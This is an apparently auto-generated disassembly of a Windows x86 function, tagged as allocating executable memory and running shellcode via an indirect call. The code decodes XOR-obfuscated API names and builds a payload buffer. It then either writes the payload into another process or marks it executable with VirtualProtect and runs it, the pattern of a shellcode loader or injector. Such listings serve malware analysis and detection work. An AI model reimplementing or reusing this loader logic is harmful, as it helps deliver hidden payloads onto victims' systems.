Function at 0x4c9340
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x78
call fcn.0040ce4c
mov dword [esp], 0x4d3064
call fcn.00413210
mov dword [esp], 0x4d3054
mov ebx, eax
call fcn.00413210
cmp byte [ebx], 0
lea esi, [eax + 0xa]
mov dword [ebp - 0x3c], esi
jne 0x4c939a
xor esi, esi
mov ecx, 0xd
lea edi, [eax + 0xa]
mov dword [eax], esi
mov dword [eax + 4], esi
mov dword [eax + 8], esi
mov esi, 0x5c83ba
rep movsb byte es:[edi], byte [esi]
mov byte [ebx], 1
cmp byte [eax + 9], 0
jne 0x4c93f2
lea ecx, [eax + 0xa]
mov esi, 0x7a
mov edx, dword [eax + 4]
mov ebx, dword [eax]
lea edi, [edx + 1]
cmp edi, ebx
jne 0x4c93b7
inc edx
jmp 0x4c93e3
lea edi, [edx + 2]
cmp ebx, edi
jne 0x4c93c3
add edx, 2
jmp 0x4c93e3
cmp edx, ebx
jne 0x4c93cd
mov ebx, esi
xor byte [ecx], bl
jmp 0x4c93e9
lea edi, [edx + 4]
cmp ebx, edi
jne 0x4c93d9
add edx, 3
jmp 0x4c93e3
lea edi, [edx + 5]
cmp ebx, edi
jne 0x4c93e9
add edx, 4
xor byte [ecx], dl
inc dword [eax]
jmp 0x4c93a8
inc esi
inc ecx
mov ebx, esi
cmp bl, 0x87
jne 0x4c93a8
mov byte [eax + 9], 1
mov eax, dword [ebp - 0x3c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push ecx
mov dword [ebp - 0x3c], eax
mov dword [esp], 0x4d3084
call fcn.00413210
mov dword [esp], 0x4d3074
mov ebx, eax
call fcn.00413210
cmp byte [ebx], 0
lea esi, [eax + 0xa]
mov dword [ebp - 0x40], esi
jne 0x4c9447
xor edx, edx
mov esi, 0x5c83a2
lea edi, [eax + 0xa]
mov ecx, 0xd
mov dword [eax], edx
mov dword [eax + 4], edx
mov dword [eax + 8], edx
rep movsb byte es:[edi], byte [esi]
mov byte [ebx], 1
cmp byte [eax + 9], 0
jne 0x4c949f
lea ecx, [eax + 0xa]
mov esi, 0x7a
mov edx, dword [eax + 4]
mov ebx, dword [eax]
lea edi, [edx + 1]
cmp ebx, edi
jne 0x4c9464
inc edx
jmp 0x4c9490
lea edi, [edx + 2]
cmp ebx, edi
jne 0x4c9470
add edx, 2
jmp 0x4c9490
cmp ebx, edx
jne 0x4c947a
mov ebx, esi
xor byte [ecx], bl
jmp 0x4c9496
lea edi, [edx + 4]
cmp ebx, edi
jne 0x4c9486
add edx, 3
jmp 0x4c9490
lea edi, [edx + 5]
cmp ebx, edi
jne 0x4c9496
add edx, 4
xor byte [ecx], dl
inc dword [eax]
jmp 0x4c9455
inc esi
inc ecx
mov ebx, esi
cmp bl, 0x87
jne 0x4c9455
mov byte [eax + 9], 1
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call fcn.0040166c
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp], eax
call fcn.00401685
mov dword [ebp - 0x40], eax
mov dword [esp], 0x4d30a4
call fcn.00413210
mov dword [esp], 0x4d3094
mov ebx, eax
call fcn.00413210
cmp byte [ebx], 0
lea esi, [eax + 0xa]
mov dword [ebp - 0x44], esi
jne 0x4c9501
xor edi, edi
mov esi, 0x5c838a
mov ecx, 0xd
mov dword [eax], edi
mov dword [eax + 4], edi
mov dword [eax + 8], edi
lea edi, [eax + 0xa]
rep movsb byte es:[edi], byte [esi]
mov byte [ebx], 1
cmp byte [eax + 9], 0
jne 0x4c9559
lea ecx, [eax + 0xa]
mov esi, 0x7b
mov edx, dword [eax + 4]
mov ebx, dword [eax]
lea edi, [edx + 1]
cmp ebx, edi
jne 0x4c951e
inc edx
jmp 0x4c954a
lea edi, [edx + 2]
cmp ebx, edi
jne 0x4c952a
add edx, 2
jmp 0x4c954a
cmp ebx, edx
jne 0x4c9534
mov ebx, esi
xor byte [ecx], bl
jmp 0x4c9550
lea edi, [edx + 4]
cmp ebx, edi
jne 0x4c9540
add edx, 3
jmp 0x4c954a
lea edi, [edx + 5]
cmp ebx, edi
jne 0x4c9550
add edx, 4
xor byte [ecx], dl
inc dword [eax]
jmp 0x4c950f
inc esi
inc ecx
mov ebx, esi
cmp bl, 0x88
jne 0x4c950f
mov byte [eax + 9], 1
mov eax, dword [ebp - 0x44]
mov dword [esp], eax
call fcn.0040166c
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp], eax
call fcn.00401685
mov dword [ebp - 0x4c], eax
mov dword [esp], 0x4d30c4
call fcn.00413210
mov dword [esp], 0x4d30b4
mov ebx, eax
call fcn.00413210
cmp byte [ebx], 0
mov edx, eax
jne 0x4c95ba
xor esi, esi
lea eax, [eax + 0xa]
mov ecx, 5
mov dword [eax - 0xa], esi
mov dword [eax - 6], esi
mov dword [eax - 2], esi
mov esi, 0x5c836a
mov edi, eax
rep movsd dword es:[edi], dword [esi]
mov byte [ebx], 1
cmp byte [edx + 9], 0
jne 0x4c9611
lea ecx, [edx + 0xa]
mov esi, 0x7b
mov eax, dword [edx + 4]
mov ebx, dword [edx]
lea edi, [eax + 1]
cmp ebx, edi
jne 0x4c95d7
inc eax
jmp 0x4c9603
lea edi, [eax + 2]
cmp ebx, edi
jne 0x4c95e3
add eax, 2
jmp 0x4c9603
cmp ebx, eax
jne 0x4c95ed
mov eax, esi
xor byte [ecx], al
jmp 0x4c9609
lea edi, [eax + 4]
cmp ebx, edi
jne 0x4c95f9
add eax, 3
jmp 0x4c9603
lea edi, [eax + 5]
cmp ebx, edi
jne 0x4c9609
add eax, 4
xor byte [ecx], al
inc dword [edx]
jmp 0x4c95c8
inc esi
inc ecx
mov eax, esi
cmp al, 0x8f
jne 0x4c95c8
mov byte [edx + 9], 1
add edx, 0xa
mov dword [esp], edx
call fcn.0040166c
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp], eax
call fcn.00401685
cmp dword [ebp - 0x40], 0
mov dword [ebp - 0x50], eax
sete al
cmp dword [ebp - 0x4c], 0
sete dl
or al, dl
jne 0x4c964e
cmp dword [ebp - 0x50], 0
jne 0x4c970e
mov dword [esp], 0x4d30e4
call fcn.00413210
mov dword [esp], 0x4d30d4
mov ebx, eax
call fcn.00413210
cmp byte [ebx], 0
lea esi, [eax + 0xa]
mov dword [ebp - 0x3c], esi
jne 0x4c968f
xor ecx, ecx
mov esi, 0x5c832a
lea edi, [eax + 0xa]
mov dword [eax], ecx
mov dword [eax + 4], ecx
mov dword [eax + 8], ecx
mov ecx, 0x22
rep movsb byte es:[edi], byte [esi]
mov byte [ebx], 1
cmp byte [eax + 9], 0
jne 0x4c96e7
lea ecx, [eax + 0xa]
mov esi, 0x7b
mov edx, dword [eax + 4]
mov ebx, dword [eax]
lea edi, [edx + 1]
cmp ebx, edi
jne 0x4c96ac
inc edx
jmp 0x4c96d8
lea edi, [edx + 2]
cmp ebx, edi
jne 0x4c96b8
add edx, 2
jmp 0x4c96d8
cmp ebx, edx
jne 0x4c96c2
mov ebx, esi
xor byte [ecx], bl
jmp 0x4c96de
lea edi, [edx + 4]
cmp ebx, edi
jne 0x4c96ce
add edx, 3
jmp 0x4c96d8
lea edi, [edx + 5]
cmp ebx, edi
jne 0x4c96de
add edx, 4
xor byte [ecx], dl
inc dword [eax]
jmp 0x4c969d
inc esi
inc ecx
mov ebx, esi
cmp bl, 0x9d
jne 0x4c969d
mov byte [eax + 9], 1
mov eax, dword [ebp - 0x3c]
mov dword [esp], 0x4d4ae0
mov dword [esp + 4], eax
call fcn.004c5720
mov dword [esp], eax
call fcn.004c3f50
or eax, 0xffffffff
jmp 0x4c9d24
mov dword [esp], 0x4d3104
call fcn.00413210
mov dword [esp], 0x4d30f4
mov ebx, eax
call fcn.00413210
cmp byte [ebx], 0
lea esi, [eax + 0xa]
mov dword [ebp - 0x3c], esi
jne 0x4c974f
xor edx, edx
mov esi, 0x5c82ea
lea edi, [eax + 0xa]
mov ecx, 6
mov dword [eax], edx
mov dword [eax + 4], edx
mov dword [eax + 8], edx
rep movsd dword es:[edi], dword [esi]
mov byte [ebx], 1
cmp byte [eax + 9], 0
jne 0x4c97a7
lea ecx, [eax + 0xa]
mov esi, 0x7c
mov edx, dword [eax + 4]
mov ebx, dword [eax]
lea edi, [edx + 1]
cmp ebx, edi
jne 0x4c976c
inc edx
jmp 0x4c9798
lea edi, [edx + 2]
cmp ebx, edi
jne 0x4c9778
add edx, 2
jmp 0x4c9798
cmp ebx, edx
jne 0x4c9782
mov ebx, esi
xor byte [ecx], bl
jmp 0x4c979e
lea edi, [edx + 4]
cmp ebx, edi
jne 0x4c978e
add edx, 3
jmp 0x4c9798
lea edi, [edx + 5]
cmp ebx, edi
jne 0x4c979e
add edx, 4
xor byte [ecx], dl
inc dword [eax]
jmp 0x4c975d
inc esi
inc ecx
mov ebx, esi
cmp bl, 0x94
jne 0x4c975d
mov byte [eax + 9], 1
mov eax, dword [ebp - 0x3c]
mov dword [esp], eax
call fcn.00401711
mov dword [ebp - 0x40], eax
mov dword [esp], 0x4d3124
call fcn.00413210
mov dword [esp], 0x4d3114
mov ebx, eax
call fcn.00413210
cmp byte [ebx], 0
mov edx, eax
jne 0x4c97f8
xor eax, eax
mov esi, 0x5c82d2
mov ecx, 0xa
mov dword [edx], eax
mov dword [edx + 4], eax
mov dword [edx + 8], eax
lea eax, [edx + 0xa]
mov edi, eax
rep movsb byte es:[edi], byte [esi]
mov byte [ebx], 1
cmp byte [edx + 9], 0
jne 0x4c984f
lea ecx, [edx + 0xa]
mov esi, 0x7c
mov eax, dword [edx + 4]
mov ebx, dword [edx]
lea edi, [eax + 1]
cmp ebx, edi
jne 0x4c9815
inc eax
jmp 0x4c9841
lea edi, [eax + 2]
cmp ebx, edi
jne 0x4c9821
add eax, 2
jmp 0x4c9841
cmp ebx, eax
jne 0x4c982b
mov eax, esi
xor byte [ecx], al
jmp 0x4c9847
lea edi, [eax + 4]
cmp ebx, edi
jne 0x4c9837
add eax, 3
jmp 0x4c9841
lea edi, [eax + 5]
cmp ebx, edi
jne 0x4c9847
add eax, 4
xor byte [ecx], al
inc dword [edx]
jmp 0x4c9806
inc esi
inc ecx
mov eax, esi
cmp al, 0x86
jne 0x4c9806
mov byte [edx + 9], 1
add edx, 0xa
mov dword [esp], edx
call fcn.00401711
mov dword [ebp - 0x3c], eax
mov dword [esp], 0x4d3144
call fcn.00413210
mov dword [esp], 0x4d3134
mov ebx, eax
call fcn.00413210
cmp byte [ebx], 0
mov edx, eax
jne 0x4c98a1
xor edi, edi
lea eax, [eax + 0xa]
mov esi, 0x5c82ba
mov ecx, 3
mov dword [eax - 0xa], edi
mov dword [eax - 6], edi
mov dword [eax - 2], edi
mov edi, eax
rep movsd dword es:[edi], dword [esi]
mov byte [ebx], 1
cmp byte [edx + 9], 0
jne 0x4c98f8
lea ecx, [edx + 0xa]
mov esi, 0x7c
mov eax, dword [edx + 4]
mov ebx, dword [edx]
lea edi, [eax + 1]
cmp ebx, edi
jne 0x4c98be
inc eax
jmp 0x4c98ea
lea edi, [eax + 2]
cmp ebx, edi
jne 0x4c98ca
add eax, 2
jmp 0x4c98ea
cmp ebx, eax
jne 0x4c98d4
mov eax, esi
xor byte [ecx], al
jmp 0x4c98f0
lea edi, [eax + 4]
cmp ebx, edi
jne 0x4c98e0
add eax, 3
jmp 0x4c98ea
lea edi, [eax + 5]
cmp ebx, edi
jne 0x4c98f0
add eax, 4
xor byte [ecx], al
inc dword [edx]
jmp 0x4c98af
inc esi
inc ecx
mov eax, esi
cmp al, 0x88
jne 0x4c98af
mov byte [edx + 9], 1
add edx, 0xa
mov dword [esp], edx
call fcn.00401711
mov dword [ebp - 0x54], eax
mov dword [esp], 0x4d3164
call fcn.00413210
mov dword [esp], 0x4d3154
mov ebx, eax
call fcn.00413210
cmp byte [ebx], 0
mov edx, eax
jne 0x4c994a
xor esi, esi
lea eax, [eax + 0xa]
mov ecx, 3
mov dword [eax - 0xa], esi
mov dword [eax - 6], esi
mov dword [eax - 2], esi
mov esi, 0x5c82a2
mov edi, eax
rep movsd dword es:[edi], dword [esi]
mov byte [ebx], 1
cmp byte [edx + 9], 0
jne 0x4c99a1
lea ecx, [edx + 0xa]
mov esi, 0x7d
mov eax, dword [edx + 4]
mov ebx, dword [edx]
lea edi, [eax + 1]
cmp ebx, edi
jne 0x4c9967
inc eax
jmp 0x4c9993
lea edi, [eax + 2]
cmp ebx, edi
jne 0x4c9973
add eax, 2
jmp 0x4c9993
cmp ebx, eax
jne 0x4c997d
mov eax, esi
xor byte [ecx], al
jmp 0x4c9999
lea edi, [eax + 4]
cmp ebx, edi
jne 0x4c9989
add eax, 3
jmp 0x4c9993
lea edi, [eax + 5]
cmp ebx, edi
jne 0x4c9999
add eax, 4
xor byte [ecx], al
inc dword [edx]
jmp 0x4c9958
inc esi
inc ecx
mov eax, esi
cmp al, 0x89
jne 0x4c9958
mov byte [edx + 9], 1
add edx, 0xa
mov dword [esp], edx
call fcn.00401711
mov dword [ebp - 0x58], eax
mov dword [esp], 0x4d3184
call fcn.00413210
mov dword [esp], 0x4d3174
mov ebx, eax
call fcn.00413210
cmp byte [ebx], 0
mov edx, eax
jne 0x4c99f3
xor ecx, ecx
lea eax, [eax + 0xa]
mov esi, 0x5c828a
mov dword [eax - 0xa], ecx
mov dword [eax - 6], ecx
mov dword [eax - 2], ecx
mov ecx, 3
mov edi, eax
rep movsd dword es:[edi], dword [esi]
mov byte [ebx], 1
cmp byte [edx + 9], 0
jne 0x4c9a4a
lea ecx, [edx + 0xa]
mov esi, 0x7d
mov eax, dword [edx + 4]
mov ebx, dword [edx]
lea edi, [eax + 1]
cmp ebx, edi
jne 0x4c9a10
inc eax
jmp 0x4c9a3c
lea edi, [eax + 2]
cmp ebx, edi
jne 0x4c9a1c
add eax, 2
jmp 0x4c9a3c
cmp ebx, eax
jne 0x4c9a26
mov eax, esi
xor byte [ecx], al
jmp 0x4c9a42
lea edi, [eax + 4]
cmp ebx, edi
jne 0x4c9a32
add eax, 3
jmp 0x4c9a3c
lea edi, [eax + 5]
cmp ebx, edi
jne 0x4c9a42
add eax, 4
xor byte [ecx], al
inc dword [edx]
jmp 0x4c9a01
inc esi
inc ecx
mov eax, esi
cmp al, 0x89
jne 0x4c9a01
mov byte [edx + 9], 1
add edx, 0xa
mov dword [esp], edx
call fcn.00401711
mov dword [ebp - 0x44], eax
mov dword [esp], 0x4d31a4
call fcn.00413210
mov dword [esp], 0x4d3194
mov ebx, eax
call fcn.00413210
cmp byte [ebx], 0
mov edx, eax
jne 0x4c9a9b
xor eax, eax
mov esi, 0x5c8272
mov ecx, 0xb
mov dword [edx], eax
mov dword [edx + 4], eax
mov dword [edx + 8], eax
lea eax, [edx + 0xa]
mov edi, eax
rep movsb byte es:[edi], byte [esi]
mov byte [ebx], 1
cmp byte [edx + 9], 0
jne 0x4c9af2
lea ecx, [edx + 0xa]
mov esi, 0x7e
mov eax, dword [edx + 4]
mov ebx, dword [edx]
lea edi, [eax + 1]
cmp ebx, edi
jne 0x4c9ab8
inc eax
jmp 0x4c9ae4
lea edi, [eax + 2]
cmp ebx, edi
jne 0x4c9ac4
add eax, 2
jmp 0x4c9ae4
cmp ebx, eax
jne 0x4c9ace
mov eax, esi
xor byte [ecx], al
jmp 0x4c9aea
lea edi, [eax + 4]
cmp ebx, edi
jne 0x4c9ada
add eax, 3
jmp 0x4c9ae4
lea edi, [eax + 5]
cmp ebx, edi
jne 0x4c9aea
add eax, 4
xor byte [ecx], al
inc dword [edx]
jmp 0x4c9aa9
inc esi
inc ecx
mov eax, esi
cmp al, 0x89
jne 0x4c9aa9
mov byte [edx + 9], 1
add edx, 0xa
mov dword [esp], edx
call fcn.00401711
mov dword [ebp - 0x5c], eax
xor eax, eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [esp], 0x1465b0
call fcn.004c83b0
mov ebx, eax
mov edi, eax
xor esi, esi
mov eax, dword [esi + 0x591c20]
mov ecx, edi
mov dword [esp], eax
call fcn.00401592
add esi, 4
add edi, 0x18
push eax
cmp esi, 0x36648
jne 0x4c9b21
lea eax, [ebx + 0x1465b0]
lea edx, [ebp - 0x30]
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x30], ebx
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.00401a80
jmp 0x4c9ba5
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
mov edx, eax
mov dword [ebp - 0x60], eax
sub edx, ecx
mov dword [ebp - 0x64], ecx
mov dword [ebp - 0x48], edx
mov dword [esp], edx
call fcn.004c8380
mov esi, eax
mov eax, dword [ebp - 0x64]
mov ecx, esi
mov edx, dword [ebp - 0x60]
cmp eax, edx
je 0x4c9bd7
mov dl, byte [eax]
inc ecx
inc eax
mov byte [ecx - 1], dl
jmp 0x4c9bc7
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x40]
or eax, ecx
mov ecx, dword [ebp - 0x54]
or eax, ecx
mov ecx, dword [ebp - 0x58]
or eax, ecx
mov ecx, dword [ebp - 0x44]
or eax, ecx
or eax, dword [ebp - 0x5c]
je 0x4c9c6f
cmp dword [ebp - 0x40], 0
jne 0x4c9c1d
cmp dword [ebp - 0x3c], 0
jne 0x4c9c23
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x3c], eax
test eax, eax
jne 0x4c9c23
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x3c], eax
test eax, eax
jne 0x4c9c23
test ecx, ecx
mov eax, ecx
cmove eax, dword [ebp - 0x5c]
jmp 0x4c9c20
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp], 0x43a
mov dword [esp + 8], eax
xor eax, eax
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
sub esp, 0xc
mov edx, eax
test eax, eax
je 0x4c9cca
mov eax, dword [ebp - 0x48]
mov dword [esp + 4], esi
mov dword [esp], edx
mov dword [esp + 8], eax
mov dword [ebp - 0x3c], edx
call fcn.0040185c
mov edx, dword [ebp - 0x3c]
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
jmp 0x4c9cca
lea eax, [ebp - 0x34]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x48]
mov dword [esp], esi
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
je 0x4c9cca
xor edx, edx
xor ecx, ecx
mov dword [esp + 8], esi
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], edx
mov dword [esp + 4], ecx
mov dword [esp], ecx
mov eax, dword [ebp - 0x4c]
call eax
sub esp, 0x18
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
mov eax, dword [ebp - 0x50]
call eax
push eax
push eax
mov dword [esp], esi
call fcn.004c8350
lea ecx, [ebp - 0x24]
call fcn.00485d50
cmp edi, ebx
je 0x4c9cea
mov ecx, ebx
add ebx, 0x18
call fcn.004a75d0
jmp 0x4c9cda
lea ecx, [ebp - 0x30]
call fcn.00485d30
xor eax, eax
jmp 0x4c9d24
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret